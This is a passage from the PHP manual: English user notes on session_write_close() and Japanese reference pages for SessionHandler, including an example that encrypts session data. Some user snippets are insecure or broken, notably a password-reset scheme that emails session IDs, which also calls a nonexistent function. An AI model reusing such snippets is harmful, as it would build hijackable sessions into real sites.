// each request will show a different value, even though $_SESSION['sign'] was changed by the 2nd request before 1st request has reached this line
echo $_SESSION['sign'];

?>

Solution, session_start() before echo

<?php

session_start();
// each request sends its own value
$sign = filter_input(INPUT_POST, 'sign', FILTER_SANITIZE_STRING);

$_SESSION['sign'] = $sign;

session_write_close();

// During the sleep period of 1st request, a 2nd request arrives with a different value of $sign
sleep(3);

/** this will solve the problem **/
session_start();

// now both requests show the same value, which is the latest value, changed by the 2nd request
echo $_SESSION['sign'];

// you might apply session_write_close(), if you plan to write more code hereafter

?>
jcastromail at yahoo dot es 17-Dec-2017 12:26
Why this function is highly important?  I explain.

In a nutshell, how session works:
Client side: php is sending back to the client, a cookie with the id of the session. So, the session ends when the server ends to process the script and not when session_write_close() is executed. So, using session_write_close() for fast saving the session in the client side is useless unless you are ob_flush() and flush() to the customer.

Server side: It could be changed but the normal behavior is to save the session information in a file.  For example:

sess_b2dbfc9ddd789d66da84bf57a62e2000  file

**This file is usually locked**, so if two sessions are trying open at the same time, then one is freezed until the file is unlocked. session_write_close() ends the lock.

For example:
<?php
$t1=microtime(true);
session_start();
sleep(3);
session_write_close();
$t2=microtime(true);
echo $t2-$t1;
?>

If we run this code in two processes (using the same session, such as two tabs), then one will return 3 seconds while the other will return 6 seconds.

Its caused because the first process lock the session file.

However, changing to:
<?php
$t1=microtime(true);
session_start();
session_write_close();
sleep(3);
$t2=microtime(true);
echo $t2-$t1;
?>
both files runs at 3 seconds.

For PHP 7.0 and higher, we could use session_start(true); for auto close after the first read.

This operation is highly important for AJAX when we used to do many operations in parallel by using the the same session
twicejr 21-Sep-2017 07:31
You can easily make a cool chatbox without using frames and subdomains in combination with SSE (server side events), using for example a 'while(true){sleep($x)}' loop..

Using session_write_close() prevents the session being locked (because the request 'never' ends (maybe after a minute or two.. but otherwise the page would hang).

So you can make a chatbox without shell access on shared hosting, you just need to make a 'output all clients the new messages' function for the SSE stream and code a few lines of javascript. Read up on SSE.

Obviously need a good caching or fast database with a lot of clients, because everyone will spawn a new stream connection. (in contrast to push mechanisms which will require at least a cron job on shared hosting).

Cheap chatbox.
sascha at archinform dot de 11-Jan-2017 04:00
If You apply session_write_close() to allow concurrent requests from a client (for example simultaneous AJAX calls) this may not resolve the problem, if You have enabled output buffering (default in PHP 7+). You have to set output_buffering = Off in php.ini, otherwise session won't be closed immediately.
atul at jreply dot com 12-Jul-2013 07:45
An easy gotcha here - the $_SESSIONS superglobal does not vanish because you call session_write_close.  If subsequent to the write_close call if you manipulate the superglobal the changes will not be saved when the script exists.  Likewise a call to session_regenrate_id will fail.

Closing the session and then manipulating session variables is not something many would do by intent.  However, if your sessions suddenly start misbehaving, failing to record changes etc it is well worth checking that the cause is not this one!
bernard dot savonet+ at gmail dot com 15-Mar-2012 09:46
Beware of session_write_close when calling PHP scripts from an Ajax page: this does not "finalize" the session data writing, but in fact it resets it!
sss at activators dot info 06-Oct-2011 01:55
i have been using a mysql database custom session handler (not using cookies) and was having problems getting the session data to be saved consistantly on my database driven website

clients also have to navigate across domains for website management at times so i have some special code to make all this happen relatively seamlessly and to ensure that each person's data is secure.

i added session_write_close() at the very end of the last script that set session data and solved the problem.

i am not sure why, but it seems the calls to write and close were not always being made (i was not smart enough to figure it out)

now that the session_write_close() call is being made, my problems seemed to have disappeared - hopefully for good.

hope this helps someone.
joadha at gmail dot com 10-Mar-2011 10:23
Remember: objects with private and/or protected data members cannot be serialized properly by PHP. If you ever find that you are missing some objects from your $_SESSION, make sure you are accounting for this shortcoming in your application.
Anonymous 25-Mar-2010 11:44
You can have interesting fun debugging anything with sleep() in it if you have a session still active.  For example, a page that makes an ajax request, where the ajax request polls a server-side event (and may not return immediately).

If the ajax function doesn't do session_write_close(), then your outer page will appear to hang, and opening other pages in new tabs will also stall.
prophp at gmail dot com 26-Nov-2009 06:21
Beware, if you overwrite the default PHP Session handling and use debugging code inside the write() function, the debugging code is not executed until you run session_write_close().

I tried everything, file logging directly from the write() function, global debugging variable increments, static class properties. The only things written were the session open() and read() calls. My debugging code looks like this:
<?php
$Session = new Session();
...
class Session() {
    public function write($id)
        $sql = "UPDATE ... WHERE id=". mysql_real_escape_string($id);
        self::$debug_Info .= "session_write sql=$sql";
    ...
}

# then at the very end of the script:
# session debugging
session_write_close();
error_log($Session->getDebugInfo(), 3, 'logs/sessions.log');
?>

where getDebugInfo simply returns self::$debug_Info. Without session_write_close() the sessions.log would only contain the open() and read() calls.

Maybe intuitive to many, it took days to realize. hope it helps!
web at murray-mint dot co dot uk 11-Sep-2009 05:36
If you're saving data to a session but finding it's not actually being saved, check and ensure that you're not assigning any arrays with a key containing the pipe character (|). This will prevent the session data from being serialized and saved.
martyrs_cry at hotmail dot com 14-May-2009 01:06
Using a SQL Server database and Windows Server 2003, if you use session_write_close() prior to a header() call, and it still appears to freeze up your session, check to make sure that you are not in the middle of a transaction.

I noticed that by starting a transaction, executing some queries, attempting to write close the session and then redirecting without rolling back or committing that transaction, your session may freeze up. Just like what you may experience if you attempt to redirect with header() without first calling session_write_close().
noel 03-Nov-2008 09:29
I was having the same problem as many here regarding setting session data just before a header location redirect and having the session data just not be there.  I tried everything people here said, and none of their combinations worked.  What did finally work for me was to fire off a session_regenerate_id(true) call just prior to the header() and die() calls.

session_regenerate_id(true);
header('location: blah blah');
die();

Without the regenerate id call, the write close did not seem to do anything.  session_write_close() doesn't seem to matter at all.  It certainly didn't fix anything on its own for me.

This is a rather annoying issue with php sessions that I've never run into before.  I store my sessions to /dev/shm (which is RAM) so file IO blocking can't be the problem.  Now I'm nervous that some other session data might not be getting updated prior to a header() location change, which is extremely important and common in any web app.
ivan at alexandrov dot biz 29-Sep-2008 07:14
I had a problem with realizing the restore password form. First a user entered his login or e-mail in the system.

Then the script searched the database, got the session data, and sended link with SID to registered e-mail. The link was configured so, that it restored session data and logged user in the secure interface to the change password form.

Then was displayed a page with the message about sended message.

The problem was that ID was not unique in three pages, the SID sended to e-mail anyone could see in cookie.

I tryed to start new session before generating and after sending link with the code:

<?php ....
session_start();
/*Getting user login and e-mail from database*/
$user_login = "....";
$user_id = "....."

/*CLOSE PREVIOUS SESSION*/
session_unlink();
session_destroy();

/*NOW GENERATING LINK FOR SESSION DATA */
session_start();
$_SESSION = $user_login;
$_SESSION = $user_id;
/*here generating link:*/
$link = "http://host.com/restore=" . SID . "";
mail (....);

/*CLOSE THE SESSION WITH USER DATA*/
session_write_close();

/*AND STARTING A NEW SESSION*/
session_start();
/*THEN LOAD THE 'MESSAGE SENDED' PAGE*/
header("Location: /restore/message_sended/");

?>

The trouble was that SID was the same even after session_unlink() and session_write_close(). The session_start() function just restored the previous session data!!! So the script was not safe.
Then I added session_regenerate_id() call after each session_start().

<?php ....
session_start();
/*Getting user login and e-mail from database*/
$user_login = "....";
$user_id = "....."

/*CLOSE PREVIOUS SESSION*/
session_unlink();
session_destroy();

/*NOW GENERATING LINK FOR SESSION DATA */
session_start();
session_regenerate_id();//Regenerating SID for sending

$_SESSION = $user_login;
$_SESSION = $user_id;

/*here generating link:*/
$link = "http://host.com/restore=" . SID . "";
mail (....);

/*CLOSE THE SESSION WITH USER DATA*/
session_write_close();

/*AND STARTING ANOTHER NEW SESSION*/
session_start();
session_regenerate_id(); //Regenerating SID
/*THEN LOAD THE 'MESSAGE SENDED' PAGE*/
header("Location: /restore/message_sended/");

?>

 And now it works as needed! The SID sending to user we cannot see in cookies nor before neither after generated link, but the data is saved in session with this id. So only the owner of account can get it!
kent openit se 22-Sep-2008 02:49
When trying to use exec on Windows 2003 Server together with WAMP you probably will experience that the server stops to answer your requests.

Through calling session_write_close before -every- exec this will solve your problem.

Hope this will help someone!
yacine at wasabihawaii dot com 06-Aug-2008 02:04
My sessions were screwing up because I had 2 different session IDs going at once:

- 1 PHPSESSID cookie for domain.com
- 1 PHPSESSID cookie for www.domain.com

This fixed it:

//At the beginning of each page...
session_set_cookie_params  (1800,"/","domain.com");
session_start();
burak >>>at 25-Apr-2008 11:32
I had a similar problem with session data.
I lost the session data randomly, without any pattern. I didn't even use the header(location:... ) function.

Tried:
set "session.use_cookies" to 1 in php.ini
session-write-close()
ob_start() / ob_end_flush()

No matter what I did, it didn't worked.

Finally, when I set the "session.use_only_cookies" to 1, problem is solved. I am no longer losing any sessions.
steve at dot-totally dot co dot uk 21-Jul-2007 12:03
For the session problem when using header("Location:..."), I found session_write_close() not to help me on the my IIS server using PHP in CGI mode. The problem was the PHPSESSID cookie was never being set, so I did it the manual way:

header("Set-Cookie: PHPSESSID=" . session_id() . "; path=/");

Worked for me this way!
cottoANTISPAM at ori dot org 14-Mar-2007 11:37
This function is useful for forcing serialization of session data but it can introduce difficult-to-track bugs if it's called more than once per session_start() call.  Since it doesn't have a return value or raise an exception there won't be any indication that the serialization failed and the code will continue normally.  Only when a user visits a page that depends on unsaved session data will there be any indication of the failure.
As far as I can tell this affects both the default and custom session handling functions.

<?
session_start();
$_SESSION['foo'] = 'box';
session_write_close();

if (array_key_exists('visited',$_SESSION) {
    echo "welcome back!\n"; # will never happen
} else {
    echo "I don't know you.\n";
    $_SESSION['visited'] = true;
    session_write_close();
}
?>
tyler at n49 dot com 31-Jan-2007 05:49
Along the same lines as what cenaculo at netcabo dot pt, bkatz at usefulengineering dot com, and editorial at literati dot ca said about making sure you session_write_close(), don't forget to ob_end_flush() if you're using output buffering.

I've been having some weird hanging issues when I tried to navigate away from a page with content streaming in an Iframe or a separate window.

Instead of:

<?
ob_start();
session_start();
/* Do session stuff here; security; logging; etc. */
session_write_close();
/* NOW write out the requested file. */
header("Content-type: audio/x-mpeg"); /* or whatever type */
header("Content-Disposition: attachment; filename=" . $filename);
header("Content-Length: " . $filesize);
header("Content-Transfer-Encoding: binary\n\n");
header("Pragma: no-cache");
header("Expires: 0");
$file_contents = file_get_contents($filepath);
print($file_contents);
?>

Do:

<?
ob_start();
session_start();
/* Do session stuff here; security; logging; etc. */
session_write_close();
/* Make sure data is actually flushed out to the browser */
ob_end_flush();
/* NOW write out the requested file. */
header("Content-type: audio/x-mpeg"); /* or whatever type */
header("Content-Disposition: attachment; filename=" . $filename);
header("Content-Length: " . $filesize);
header("Content-Transfer-Encoding: binary\n\n");
header("Pragma: no-cache");
header("Expires: 0");
$file_contents = file_get_contents($filepath);
print($file_contents);
?>
risaac at deadletter dot com 04-Apr-2006 12:46
Workaround if session_write_close() still doesn't write sessions fast enough:

I found with one PHP login system that even session_write_close() was not setting the session variables before I transferred pages with a Location: header.  So the user would log in, I would create the $_SESSION variables, call session_write_close() and then transfer to the secure page using header(Location:...).  The secure page would check for the session vars, not find them, and force the user to log in again.  After the second login the session would be found and they could continue.

My workaround was to create the $_SESSION variables with 0 values before writing the initial login page.  Then I updated the session vars with the login results and used the header() function to switch to the secure location.  Once the session vars have already been created, updated values are assigned quickly.  Problem solved.  Just be sure the secure page checks both that the $_SESSION var exists AND that it's not 0.
unspammable-iain at iaindooley dot com 23-Dec-2005 09:57
As we all know, if an object is serialised, then the class definition must be included _before_ it is unserialised.

My framework has an enormous number of class files, and including them all at the beginning of the script was really taking it's toll on my system (memory and execution time) so I switched to including required classes at the top of each class file that used them using require_once.

This caused problems because I start my session at the very beginning of my script's execution, but all my class files aren't there at the beginning!!

So no in my special 'require' function, I do the following:

if(!class_exists($to_require))
{
    session_write_close();
    require_once('path/to/classes/'.$to_require.'.php');
    session_start();
}

This is a considerably smaller performance hit that including every class that the application uses at the very beginning of the application.
bkatz at usefulengineering dot com 16-Jul-2005 08:05
session_write_close() worked as a lifesaver for me when automatically uploading files to a user (forcing a download instead of a link). If files are large, and since session_start() does not allow another page using session_start() to proceed until it's done, i was not able to upload more than one file at a time. By using session_write_close() before beginning the file upload, my users can now download as many big files as they like, at the same time. Example:

<?
session_start();
/* Do session stuff here; security; logging; etc. */
session_write_close();
/* NOW write out the requested file. */
header("Content-type: audio/x-mpeg"); /* or whatever type */
header("Content-Disposition: attachment; filename=" . $filename);
header("Content-Length: " . $filesize);
header("Content-Transfer-Encoding: binary\n\n");
header("Pragma: no-cache");
header("Expires: 0");
$file_contents = file_get_contents($filepath);
print($file_contents);
?>
editorial at literati dot ca 15-May-2005 01:13
Further to the comment by nakanishi at mailstyle dot com, it appears that calling session_write_close() followed by session_start() causes issues if you have more than one browser window/tab open in the session, and have a large session data array.  I have an intermitent (and hard to replicate reliably) issue with session_start() never being called or not returning - the script hangs before the session headers are written.  I'm puting this down to trying to be too clever rather than to a bug per se.
kumar mcmillan 06-May-2004 09:54
if you are trying to work with a larger code base meant for a specific application... and it implements some custom session save handlers, it appears there is no way to reset those save handlers back to the default php state if they are getting in your way.  my workaround:

session_write_close(); // close the session at the top of the page :)
nakanishi at mailstyle dot com 18-Jan-2003 11:04
Make sure that you call session_start() again after session_write_close() if you rely on the SID rewriting.  Otherwise it will not be rewritten.


SessionHandler クラス

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

はじめに

SessionHandler は特殊なクラスで、 これを継承したクラスを作れば PHP が内部的に使っているセッション保存ハンドラを拡張できます。 このクラスには七つのメソッドがあり、それぞれが七つのセッション保存ハンドラコールバック (open, close, read, write, destroy, gc および create_sid) に対応しています。デフォルトでは、このクラスは session.save_handler で定義された内部セッションハンドラをラップします。 通常は files がデフォルトになっています。 それ以外には、PHP の拡張モジュールとして提供されている SQLite (sqlite) や Memcache (memcache) そして Memcached (memcached) が使えます。

SessionHandler のインスタンスを session_set_save_handler() でハンドラとして指定すると、 そのインスタンスが現在の保存ハンドラをラップします。 SessionHandler を継承したクラスを作ると、 親クラスのメソッド、つまり PHP の内部セッションハンドラのメソッドをラップして オーバーライドしたり処理を割り込ませたりフィルタをかけたりできるようになります。

これを利用すると、たとえば read と write メソッドに処理を割り込ませ、セッションデータの暗号化/復号の処理を追加することができます。 あるいは、ガベージコレクションコールバック gc を完全に自前の処理で置き換えてしまうこともできます。

SessionHandler は現在の内部保存ハンドラのメソッドをラップしているので、 先述の暗号化の例は任意の保存ハンドラに適用することができます。その際に、ハンドラの内部的な動きを知っておく必要はありません。

このクラスを使うには、まず最初に公開したいハンドラを session.save_handler で設定してから、 SessionHandler あるいはそれを継承したクラスのインスタンスを session_set_save_handler() に渡します。

このクラスのコールバックメソッドは PHP が内部的にコールするものであり、 ユーザーのコードから呼ばれることは想定していないことに注意しましょう。 コールバックの返り値も、PHP が内部的に利用するだけです。 セッションの処理の流れについての詳しい情報は session_set_save_handler() を参照ください。

クラス概要

SessionHandler implements SessionHandlerInterface , SessionIdInterface {
/* メソッド */
public close ( ) : bool
public create_sid ( ) : string
public destroy ( string $id ) : bool
public gc ( int $max_lifetime ) : int|bool
public open ( string $path , string $name ) : bool
public read ( string $id ) : string
public write ( string $id , string $data ) : bool
}
警告

このクラスは現在の PHP 内部セッション保存ハンドラを公開するように作られています。 自作の保存ハンドラを用意したい場合は、SessionHandler を継承するのではなく SessionHandlerInterface を実装したクラスを作るようにしましょう。

変更履歴

バージョン | 説明
5.5.1 | SessionHandler::create_sid() が追加されました。

例1 SessionHandler を使って PHP の保存ハンドラに暗号化機能を追加する例

<?php

 /**
  * decrypt AES 256
  *
  * @param data $edata
  * @param string $password
  * @return decrypted data
  */
function decrypt($edata, $password) {
    $data = base64_decode($edata);
    $salt = substr($data, 0, 16);
    $ct = substr($data, 16);

    $rounds = 3; // キーの長さに依存します
    $data00 = $password.$salt;
    $hash = array();
    $hash[0] = hash('sha256', $data00, true);
    $result = $hash[0];
    for ($i = 1; $i < $rounds; $i++) {
        $hash[$i] = hash('sha256', $hash[$i - 1].$data00, true);
        $result .= $hash[$i];
    }
    $key = substr($result, 0, 32);
    $iv  = substr($result, 32,16);

    return openssl_decrypt($ct, 'AES-256-CBC', $key, true, $iv);
  }

/**
 * crypt AES 256
 *
 * @param data $data
 * @param string $password
 * @return base64 encrypted data
 */
function encrypt($data, $password) {
    // ランダムな salt を設定します
    $salt = openssl_random_pseudo_bytes(16);

    $salted = '';
    $dx = '';
    // Salt the key(32) and iv(16) = 48
    while (strlen($salted) < 48) {
      $dx = hash('sha256', $dx.$password.$salt, true);
      $salted .= $dx;
    }

    $key = substr($salted, 0, 32);
    $iv  = substr($salted, 32,16);

    $encrypted_data = openssl_encrypt($data, 'AES-256-CBC', $key, true, $iv);
    return base64_encode($salt . $encrypted_data);
}

class EncryptedSessionHandler extends SessionHandler
{
    private $key;

    public function __construct($key)
    {
        $this->key = $key;
    }

    public function read($id)
    {
        $data = parent::read($id);

        if (!$data) {
            return "";
        } else {
            return decrypt($data, $this->key);
        }
    }

    public function write($id, $data)
    {
        $data = encrypt($data, $this->key);

        return parent::write($id, $data);
    }
}

// この例では標準の 'files' ハンドラを横取りしていますが、他のネイティブハンドラである
// PHP 拡張モジュール 'sqlite'、'memcache'、'memcached'
// の場合でもまったく同じように使えます。
ini_set('session.save_handler', 'files');

$key = 'secret_string';
$handler = new EncryptedSessionHandler($key);
session_set_save_handler($handler, true);
session_start();

// $_SESSION への値の設定や格納されている値の取得を進めます

注意:

このクラスのメソッドは、セッション処理の一環として PHP が内部的にコールするためのものとして作られています。 そのため、子クラスから親のメソッド (実際のネイティブハンドラ) をコールすると、 (自動で開始するか、あるいは session_start() を実行するなどして) セッションを実際に開始していない限りはその返り値が false となります。 この点は、ユニットテストを書く際に注意が必要です。というのも、 ユニットテストではクラスのメソッドを手動でコールする可能性があるからです。

目次

  • SessionHandler::close — セッションを閉じる
  • SessionHandler::create_sid — 新規セッション ID を返す
  • SessionHandler::destroy — セッションを破棄する
  • SessionHandler::gc — 古いセッションを削除する
  • SessionHandler::open — セッションを開始する
  • SessionHandler::read — セッションのデータを読み込む
  • SessionHandler::write — セッションのデータを書き込む

User Contributed Notes

saccani dot francesco dot NOSPAM at gmail dot com 15-Mar-2020 08:07
I made this gist to provide a complete overview of the PHP session handler life cycle updated to version 7.0 or above. In particular, I wanted to emphasize what methods and in what order are called when the native PHP functions are used for session management.

https://gist.github.com/franksacco/d6e943c41189f8ee306c182bf8f07654

I hope this analysis will help all the developers interested in understanding in detail the native session management performed by PHP and what a custom session handler should do.
Any comment or suggestion is appreciated.
wei dot kavin at gmail dot com 29-May-2019 07:38
php -S localhost:8000 -t foo/

touch index.php

vi index.php
============================================================
class NativeSessionHandler extends \SessionHandler
{
    public function __construct($savePath = null)
    {
        if (null === $savePath) {
            $savePath = ini_get('session.save_path');
        }

        $baseDir = $savePath;

        if ($count = substr_count($savePath, ';')) {
            if ($count > 2) {
                throw new \InvalidArgumentException(sprintf('Invalid argument $savePath \'%s\'', $savePath));
            }

            // characters after last ';' are the path
            $baseDir = ltrim(strrchr($savePath, ';'), ';');
        }

        if ($baseDir && !is_dir($baseDir) && !@mkdir($baseDir, 0777, true) && !is_dir($baseDir)) {
            throw new \RuntimeException(sprintf('Session Storage was not able to create directory "%s"', $baseDir));
        }

        ini_set('session.save_path', $savePath);
        ini_set('session.save_handler', 'files');
    }
}

$handler = new NativeSessionHandler("/var/www/foo");
session_set_save_handler($handler, true);
session_start();
$a = $handler->write("aaa","bbbb");var_dump($a);exit;

============================================================

output：bool(false)
tony at marston-home dot demon dot co dot uk 12-Jun-2018 07:55
Your custom session handler should not contain calls to any of the session functions, such as session_name() or session_id(), as the relevant values are passed as arguments on various handler methods. Attempting to obtain values from alternative sources may not work as expected.
jeremie dot legrand at komori-chambon dot fr 09-Mar-2016 09:22
Here is a wrapper to log in a file each session's operations. Useful to investigate sessions locks (which prevent PHP to serve simultaneous requests for a same client).
Just change the file name at the end to dump logs where you want.

class DumpSessionHandler extends SessionHandler {
    private $fich;

    public function __construct($fich) {
        $this->fich = $fich;
    }

    public function close() {
        $this->log('close');
        return parent::close();
    }

    public function create_sid() {
        $this->log('create_sid');
        return parent::create_sid();
    }

    public function destroy($session_id) {
        $this->log('destroy('.$session_id.')');
        return parent::destroy($session_id);
    }

    public function gc($maxlifetime) {
        $this->log('close('.$maxlifetime.')');
        return parent::gc($maxlifetime);
    }

    public function open($save_path, $session_name) {
        $this->log('open('.$save_path.', '.$session_name.')');
        return parent::open($save_path, $session_name);
    }

    public function read($session_id) {
        $this->log('read('.$session_id.')');
        return parent::read($session_id);
    }

    public function write($session_id, $session_data) {
        $this->log('write('.$session_id.', '.$session_data.')');
        return parent::write($session_id, $session_data);
    }

    private function log($action) {
        $base_uri = explode('?', $_SERVER['REQUEST_URI'], 2)[0];
        $hdl = fopen($this->fich, 'a');
        fwrite($hdl, date('Y-m-d h:i:s').' '.$base_uri.' : '.$action."\n");
        fclose($hdl);
    }
}
ini_set('session.save_handler', 'files');
$handler = new DumpSessionHandler('/path/to/dump_sessions.log');
session_set_save_handler($handler, true);
rasmus at mindplay dot dk 03-Aug-2015 09:08
As the life-cycle of a session handler is fairly complex, I found it difficult to understand when explained using just words - so I traced the function calls made to a custom SessionHandler, and created this overview of precisely what happens when you call various session methods:

https://gist.github.com/mindplay-dk/623bdd50c1b4c0553cd3

I hope this makes it considerably easier to implement a custom SessionHandler and get it right the first time :-)


セッションを閉じる

  • ≪ SessionHandler
  • SessionHandler::create_sid ≫
  • PHP Manual
  • SessionHandler
  • セッションを閉じる

SessionHandler::close

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::close — セッションを閉じる

説明

public SessionHandler::close ( ) : bool

現在のセッションを閉じます。この関数はセッションを閉じるときに自動的に実行されます。 あるいは、明示的に session_write_close() 経由で実行することもできます (このときは、まず最初に SessionHandler::write() をコールします)。

このメソッドは、このハンドラが session_set_save_handler() で設定される前に ini 設定 session.save_handler で定義されていた PHP の保存ハンドラをラップします。

このクラスを継承して拡張する場合は、親の close メソッドをコールすればこのメソッドのラッパーを実行でき、それに付随する内部コールバックも実行されます。 こうすれば、メソッドをオーバーライドしたり処理を横取りしたりできます。

このメソッドに関する詳細は、 SessionHandlerInterface::close() のドキュメントを参照ください。

パラメータ

この関数にはパラメータはありません。

返り値

返り値 (通常は、true が成功そして false が失敗を表します)。この値は PHP で内部的に処理されるものであることに注意しましょう。

User Contributed Notes

There are no user contributed notes for this page.


新規セッション ID を返す

  • ≪ SessionHandler::close
  • SessionHandler::destroy ≫
  • PHP Manual
  • SessionHandler
  • 新規セッション ID を返す

SessionHandler::create_sid

(PHP 5 >= 5.5.1, PHP 7, PHP 8)

SessionHandler::create_sid — 新規セッション ID を返す

説明

public SessionHandler::create_sid ( ) : string

新規セッション ID を生成して返します。

返り値

デフォルトのセッション・ハンドラに対して有効なセッションです。

参考

  • session_id() - 現在のセッション ID を取得または設定する
  • session_create_id() - 新しいセッションIDを作成する

User Contributed Notes

There are no user contributed notes for this page.


セッションを破棄する

  • ≪ SessionHandler::create_sid
  • SessionHandler::gc ≫
  • PHP Manual
  • SessionHandler
  • セッションを破棄する

SessionHandler::destroy

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::destroy — セッションを破棄する

説明

public SessionHandler::destroy ( string $id ) : bool

セッションを破棄します。session_regenerate_id() ($destory を true にしたとき) や session_destroy() からコールされ、session_decode() が失敗したときにもコールされます。

このメソッドは、このハンドラが session_set_save_handler() で設定される前に ini 設定 session.save_handler で定義されていた PHP の保存ハンドラをラップします。

このクラスを継承して拡張する場合は、親の destroy メソッドをコールすればこのメソッドのラッパーを実行でき、それに付随する内部コールバックも実行されます。 こうすれば、メソッドをオーバーライドしたり処理を横取りしてフィルタを追加したりできます。

このメソッドに関する詳細は、 SessionHandlerInterface::destroy() のドキュメントを参照ください。

パラメータ

id

破棄するセッション ID。

返り値

返り値 (通常は、true が成功そして false が失敗を表します)。この値は PHP で内部的に処理されるものであることに注意しましょう。

User Contributed Notes

There are no user contributed notes for this page.


古いセッションを削除する

  • ≪ SessionHandler::destroy
  • SessionHandler::open ≫
  • PHP Manual
  • SessionHandler
  • 古いセッションを削除する

SessionHandler::gc

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::gc — 古いセッションを削除する

説明

public SessionHandler::gc ( int $max_lifetime ) : int|bool

有効期限を過ぎたセッションを削除します。PHP がセッションを開始したとき、あるいは session_start() を実行したときにコールされます。 コールされる頻度は、session.gc_divisor および session.gc_probability の設定に基づいて決まります。

このメソッドは、このハンドラが session_set_save_handler() で設定される前に ini 設定 session.save_handler で定義されていた PHP の保存ハンドラをラップします。

このクラスを継承して拡張する場合は、親の gc メソッドをコールすればこのメソッドのラッパーを実行でき、それに付随する内部コールバックも実行されます。 こうすれば、メソッドをオーバーライドしたり処理を横取りしてフィルタを追加したりできます。

このメソッドに関する詳細は、 SessionHandlerInterface::gc() のドキュメントを参照ください。

パラメータ

max_lifetime

直近の max_lifetime 秒の間に更新されていないセッションを削除します。

返り値

成功時には、削除されたセッションの数を返します。 失敗した場合に false を返します この値は、処理を続けるために PHP の内部にも返される点に注意して下さい。

変更履歴

バージョン | 説明
7.1.0 | これより前のバージョンでは、この関数は成功時に true を返していました。

User Contributed Notes

There are no user contributed notes for this page.


セッションを開始する

  • ≪ SessionHandler::gc
  • SessionHandler::read ≫
  • PHP Manual
  • SessionHandler
  • セッションを開始する

SessionHandler::open

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::open — セッションを開始する

説明

public SessionHandler::open ( string $path , string $name ) : bool

新しいセッションを作成するか、あるいは既存のセッションを再度初期化します。 PHP が自動的にセッションを開始させたり、あるいは session_start() を実行したときにコールされます。

このメソッドは、このハンドラが session_set_save_handler() で設定される前に ini 設定 session.save_handler で定義されていた PHP の保存ハンドラをラップします。

このクラスを継承して拡張する場合は、親の open メソッドをコールすればこのメソッドのラッパーを実行でき、それに付随する内部コールバックも実行されます。 こうすれば、メソッドをオーバーライドしたり処理を横取りしてフィルタを追加したりできます。

このメソッドに関する詳細は、 SessionHandlerInterface::open() のドキュメントを参照ください。

パラメータ

path

セッションを格納/取得するパス。

name

セッション名。

返り値

返り値 (通常は、true が成功そして false が失敗を表します)。この値は PHP で内部的に処理されるものであることに注意しましょう。

参考

  • session.auto-start

User Contributed Notes

There are no user contributed notes for this page.


セッションのデータを読み込む

  • ≪ SessionHandler::open
  • SessionHandler::write ≫
  • PHP Manual
  • SessionHandler
  • セッションのデータを読み込む

SessionHandler::read

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::read — セッションのデータを読み込む

説明

public SessionHandler::read ( string $id ) : string

セッションのデータをセッションストレージから読み込み、その結果を PHP の内部処理用に返します。 このメソッドは PHP がセッションを自動的に開始したとき、あるいは session_start() を実行したときにコールされ、内部的に SessionHandler::open() で処理されます。

このメソッドは、このハンドラが session_set_save_handler() で設定される前に ini 設定 session.save_handler で定義されていた PHP の保存ハンドラをラップします。

このクラスを継承して拡張する場合は、親の read メソッドをコールすればこのメソッドのラッパーを実行でき、それに付随する内部コールバックも実行されます。 こうすれば、メソッドをオーバーライドしたり処理を横取りしてフィルタを追加したり (親の read メソッドが返す $data を復号したりなど) できます。

このメソッドに関する詳細は、 SessionHandlerInterface::read() のドキュメントを参照ください。

パラメータ

id

データを読み込むセッションの id。

返り値

読み込んだデータを常に文字列で返します。何も読まなかった場合は空文字列を返さなければなりません。 この値は、PHP の内部で処理されるものであることに注意しましょう。

参考

  • session.serialize_handler

User Contributed Notes

There are no user contributed notes for this page.


セッションのデータを書き込む

  • ≪ SessionHandler::read
  • SessionHandlerInterface ≫
  • PHP Manual
  • SessionHandler
  • セッションのデータを書き込む

SessionHandler::write

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::write — セッションのデータを書き込む

説明

public SessionHandler::write ( string $id , string $data ) : bool

セッションのデータをセッションストレージに書き込みます。
リクエストの終了時や session_write_close() を実行したとき、そして
session_register_shutdown() が失敗したときにコールされます。
PHP は、このメソッドの返り値を受け取るとすぐに SessionHandler::close() をコールします。

このメソッドは、このハンドラが session_set_save_handler() で設定される前に ini 設定 session.save_handler で定義されていた PHP の保存ハンドラをラップします。

このクラスを継承して拡張する場合は、親の write メソッドをコールすればこのメソッドのラッパーを実行でき、それに付随する内部コールバックも実行されます。 こうすれば、メソッドをオーバーライドしたり処理を横取りしてフィルタを追加したり (親の write メソッドに送る前に $data を暗号化したりなど) できます。

このメソッドに関する詳細は、 SessionHandlerInterface::write() のドキュメントを参照ください。

パラメータ

id

セッション id。

data

エンコードされたセッションのデータ。 これは、PHP が内部的にスーパーグローバル $_SESSION をエンコードしてシリアライズし、それを渡したものです。 セッションが使うシリアライズ方式は、通常のシリアライズとは別のものであることに注意しましょう。

返り値

返り値 (通常は、true が成功そして false が失敗を表します)。この値は PHP で内部的に処理されるものであることに注意しましょう。

参考

  • session.serialize_handler

User Contributed Notes

There are no user contributed notes for this page.


SessionHandlerInterface クラス

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

はじめに

SessionHandlerInterface は カスタムセッションハンドラを作成する際の最低限のプロトタイプを定義したインターフェイスです。 自作のセッションハンドラを オブジェクト指向型 の起動方法で session_set_save_handler() に渡すために、このインターフェイスを実装することができます。

このクラスのコールバックメソッドは PHP が内部的にコールするものであり、 ユーザーのコードから呼ばれることは想定していないことに注意しましょう。

クラス概要

SessionHandlerInterface {
/* メソッド */
abstract public close ( ) : bool
abstract public destroy ( string $id ) : bool
abstract public gc ( int $max_lifetime ) : int|bool
abstract public open ( string $path , string $name ) : bool
abstract public read ( string $id ) : string
abstract public write ( string $id , string $data ) : bool
}

例1 SessionHandlerInterface の使用例

この例では、ファイルベースのセッションストレージをつくります。これは PHP のデフォルトのセッション保存ハンドラである files と似たものです。この例をさらに拡張すれば、 PHP がサポートするお好みのデータベースを使ってセッションを保存させるようにするのも簡単です。

